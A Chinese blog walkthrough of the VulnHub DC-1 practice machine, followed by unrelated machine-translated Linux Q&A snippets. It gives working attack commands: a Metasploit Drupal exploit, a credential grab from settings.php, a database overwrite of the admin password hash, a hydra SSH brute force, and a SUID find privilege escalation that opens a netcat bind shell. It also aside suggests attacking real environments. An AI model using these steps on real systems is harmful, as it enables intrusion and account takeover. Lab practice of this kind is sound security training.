vulnhub靶场 DC-1

2023-11-02

过程曲曲折折,中途还看了下题解才断断续续的完成这个靶场。只能说技术不到家。
攻击机:kali ip:192.168.16.134
靶场 : ip:192.168.16.149
首先是到vulnhub官网去下载DC-1的靶场这里就不讲如何下载了,直接开始靶场全过程。
首先确认自己的目标 拿到root用户权限在这里插入图片描述这里网络适配器选择NAT模式,这样会和主机在同一个网段中少浪费一些时间。
启动靶机,然后会是一个登录界面不知道账号密码所以就放在这打开.
启动我们的kali,nmap一下网段我这里是
nmap 192.168.16.0/24
在这里插入图片描述80端口,22端口,应该是80端口拿到权限后获得密码ssh连上。思路先理清然后打开web页面在这里插入图片描述一个drupal cms的网站,这里直接用工具去扫目录,我比较喜欢用awvs能列出目录的同时还能获取一些可能有价值的漏洞在这里插入图片描述很清晰啊,这里是有一个漏洞的是drupal的sql注入漏洞我们直接上网站先了解漏洞直接百度打开搜索drupal sql注入一堆文章,顺带提一嘴如果是打真实环境可以把你的kali架在公网服务器上。
上msf看看有没有能用的模块,msf还是继承了挺多这种cms的漏洞的

msfconsole

search drupal
在这里插入图片描述这里找下模块看到有两个一个是2014-10-15,还有一个2018-03-28想想挑个近期一点的用用
use 4
这里的设置信息只要show options 就很好填的不赘述了
在这里插入图片描述获取交互式shell吧
shell
这里如果对方有python3环境就可以使用python调用本地环境获得交互式的命令行
python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述ls看一下
有个flag1.txt
直接网页看一下在这里插入图片描述大概是找配置文件吧,这里还是找了一会儿的,没事真实环境的话可能得找更久,同目录的sites目录下
cd sites/default
ls
在这里插入图片描述打开看一下吧
cat settings.php
在这里插入图片描述flag2加数据库账号密码大收获啊,但是flag2的翻译硬是看不懂,百度翻译一下大概是爆破不是唯一的方法意思就是智取,那我们上数据库看看
在这里插入图片描述show databases;数据库语句这里要加分号忘加也没关系他会提示的
这里会看到两个数据库一个mysql5.0以上自带的
一个是drupaldb
这里我操作带过一下
use drupaldb;
show tables;
select * from users;
在这里插入图片描述加密了,去网上看下drupal密码加密的算法看看,估计这就是flag2的提示也不能爆破,好像路到这里暂时停了。我们可以数据库update一下更换掉密码,但是密码也是要通过加密,因为之后要解密对比,所以我们也得生成一个加密的密码,这里是后面翻到文章看到drupalcms有一个password-hash.sh文件可以生成加密后的密码
返回目录使用
find / -name password-hash.sh寻找这个文件在这里插入图片描述执行看看
如果在目录下执行不了就返回上级目录执行

在这里插入图片描述进入数据库

update users set pass=‘ S S SDXNvPAWR.EEF/fbM2MmRPz2Ct1xl6X./CxWSsSnJPtF92CkNue.1’ where uid=1;
修改成功
在这里插入图片描述然后去登陆一下
账号 admin 密码 123456
在这里插入图片描述有个flag3文件

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
提示是这个,我一开始没看懂,后来看这这个-exec that command以为是说后台命令执行,但我想着感觉怎么这么奇怪然后去搜drupal命令执行漏洞,对应8.x版本的drupal,看了看这个好像用不上。后来才知道是用find命令去找passwd
然后再etc目录下有个passwd,passwd-,shadow,shadow-文件只有第一个能打开,其他没有权限,我们来看看在这里插入图片描述秉承着弄清楚原理的想法我去搜了一下,这里是别人的博客可以看一下

原文链接:https://blog.csdn.net/a1154490629/article/details/52190801

也就是这其实就是张用户表,下面有个flag4的用户用用吧。大家还记得一开始开放的端口嘛,我们爆破一下ssh 账号flag4
kali下有一个自带的爆破工具hydra挺好用的,只要字典强大,啥都好用
新打开一个终端
如果不知道怎么用可以搜文章也可以直接终端敲出hydra看里面的提示
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.16.149在这里插入图片描述一会儿就出来了账号flag4密码orange,拿出我的finalshell
在这里插入图片描述提权了看下提权方法大家可以看下Ms08067的文章。
find / -user root -perm -4000 -print 2>/dev/null
这个是发现所有suid可执行文件
这里我试了两个方法其他大家可以自己尝试一下
如果find也是suid权限运行的话,那通过find执行的所有命令都会是root权限在这里插入图片描述还有就是linux大部分都安装了netcat所以可以直接弹shell
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;在这里插入图片描述
在这里插入图片描述在这里插入图片描述成功提权到root用户了。
等我多打了一些靶场后我把靶场难易程度,大致顺序给兄弟们列一下,兄弟们可以照着我的目录去练

看一下整个流程
ip发现——>端口扫描——>目录结构扫描——>漏洞发现——>漏洞利用——>提权
虽然前面是有些轻松了但这是基础靶场,后面会越来越难,越来越有挑战

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

vulnhub靶场 DC-1 的相关文章

  • 在Linux伪终端中执行从一个终端发送到另一个终端的字符串

    假设我有一个终端 其中 tty 的输出是 dev pts 2 我想从另一个终端向第一个终端发送命令并执行它 使用 echo ls gt dev pts 2 仅在第一个终端中打印 ls 有没有办法执行字符串 不 终端不执行命令 它们只是数据的
  • 即使 makefile 和源代码存在,为什么“Build Project”在 Eclipse Helios CDT 中显示为灰色?

    我无法构建我的项目 我在 Eclipse Helios 中创建了一个新的 CDT 项目 并告诉它使用现有的源代码和 makefile 这两者都正确显示在 Package 和 Project 视图中 然而 项目 菜单中的 构建全部 和 构建项
  • 在64位操作系统上以32位模式和64位模式编译ioctl函数的执行有什么不同?

    我有 64 位 Enterprise SuSE 11 我有一个应用程序 它打开 HIDRAW 设备并在其上操作 ioctl 函数以从该设备获取原始信息 如下所示 struct hidraw devinfo devinfo int fd op
  • 在键盘热插拔上加载模块

    我正在尝试学习如何为 Linux 系统编写模块和驱动程序 类似于this https unix stackexchange com questions 120839 usb kernel module does not load on de
  • 对 sf:: 的未定义引用

    我想用 C 制作 GUI 应用程序 发现 SFML 是一个不错的选择 幸运的是 我使用的是 Linux 所以 SFML 2 4 已经安装在我的系统上 所以我开始搜索一些教程并找到了一个制作简单窗口的教程 但是当我运行代码时 出现错误 提示未
  • 如何使用libaudit?

    我试图了解如何使用 libaudit 我想接收有关使用 C C 的用户操作的事件 我不明白如何设置规则 以及如何获取有关用户操作的信息 例如 我想获取用户创建目录时的信息 int audit fd audit open struct aud
  • 测试linux下磁盘空间不足

    我有一个程序 当写入某个文件的磁盘空间不足时 该程序可能会死掉 我不确定是否是这种情况 我想运行它并查看 但我的测试服务器不会很快耗尽空间 有什么办法可以嘲笑这种行为吗 看起来没有任何方法可以在 Ubuntu 中设置文件夹 文件大小限制 并
  • 变量作为 bash 数组索引?

    bin bash set x array counter 0 array value 1 array 0 0 0 for number in array do array array counter array value array co
  • Xenomai 中的周期性线程实时失败

    我正在创建一个周期性线程 它在模拟输出上输出方波信号 我正在使用 Xenomai API 中的 Posix Skin 和 Analogy 我使用示波器测试了代码的实时性能 并查看了方波信号 频率为 1kHz 的延迟 我应该实现 250us
  • Linux 文本文件操作

    我有一个格式的文件 a href a href a href a href 我需要选择 之后但 之前的文本 并将其打印在行尾 添加后 例如 a href http www wowhead com search Su a a a a a
  • grails 上的同步块在 Windows 上有效,但在 Linux 上无效

    我有一个 grails 应用程序 它依赖于服务中的同步块 当我在 Windows 上运行它时 同步按预期工作 但当我在 ams linux 上运行时 会出现 StaleObjectStateException 该问题在以下示例中重现 cla
  • 使用脚本自动输入 SSH 密码

    我需要创建一个自动向 OpenSSH 输入密码的脚本ssh client 假设我需要通过 SSH 进入myname somehost用密码a1234b 我已经尝试过 bin myssh sh ssh myname somehost a123
  • Linux、ARM:为什么仅当启动时存在 I2C GPIO 扩展器时才创建 gpiochip

    在 imx6sx 硬件平台 NXP 嵌入式 ARM 上使用 Linux 3 14 52 问题是设备树中指定的 PCF8575 I2C GPIO 扩展器不会实例化为 sys class gpio 结构中的设备 除非它们在内核启动期间存在 这些
  • 如何从 Linux 的 shell 中删除所有以 ._ 开头的文件?

    确实如标题所示 我已将许多文件从 Mac 复制到 Raspberry Pi 这导致了许多以前缀开头的多余文件 我想删除以以下开头的文件夹中的每个文件 我该怎么做 尝试类似的方法 cd path to directory rm rf 或者 如
  • 错误:NVIDIA-SMI 失败,因为无法与 NVIDIA 驱动程序通信

    NVIDIA SMI 抛出此错误 NVIDIA SMI 失败 因为无法与 NVIDIA 通信 司机 确保安装了最新的 NVIDIA 驱动程序并且 跑步 我清除了 NVIDIA 并按照提到的步骤重新安装了它here https askubun
  • 无关的库链接

    我有一个可能有点愚蠢的问题 因为我很确定我可能已经知道答案了 假设你有静态库A 动态共享库B和你的linux下的程序C 假设库 A 调用库 B 中的函数 并且您的程序调用库 A 中的函数 现在假设 C 在 A 中调用的所有函数都不使用 B
  • CentOS目录结构是树形的吗?

    CentOS 上有相当于树的东西吗 如果你的 Centos 系统上没有安装 tree 无论如何我通常建议服务器设置使用最小安装磁盘 你应该在命令行中输入以下内容 yum install tree y 如果没有安装 那是因为您没有正确的存储库
  • “grep -q”的意义是什么

    我正在阅读 grep 手册页 并遇到了 q 选项 它告诉 grep 不向标准输出写入任何内容 如果发现任何匹配 即使检测到错误 也立即以零状态退出 我不明白为什么这可能是理想或有用的行为 在一个程序中 其原因似乎是从标准输入读取 处理 写入
  • 如何调用位于其他目录的Makefile?

    我正在尝试这样做 我想打电话给 make Makefile存在于其他目录中 abc可以使用位于不同目录中的 shell 脚本的路径 我该怎么做呢 由于 shell 脚本不允许我cd进入Makefile目录并执行make 我怎样才能编写she
  • 如何查明 Ubuntu 上安装了哪个版本的 GTK+?

    我需要确定 Ubuntu 上安装了哪个版本的 GTK 男人似乎不帮忙 这个建议 https stackoverflow com a 126145 会告诉您安装了哪个 2 0 的次要版本 不同的主要版本将具有不同的包名称 因为它们可以在系统上

随机推荐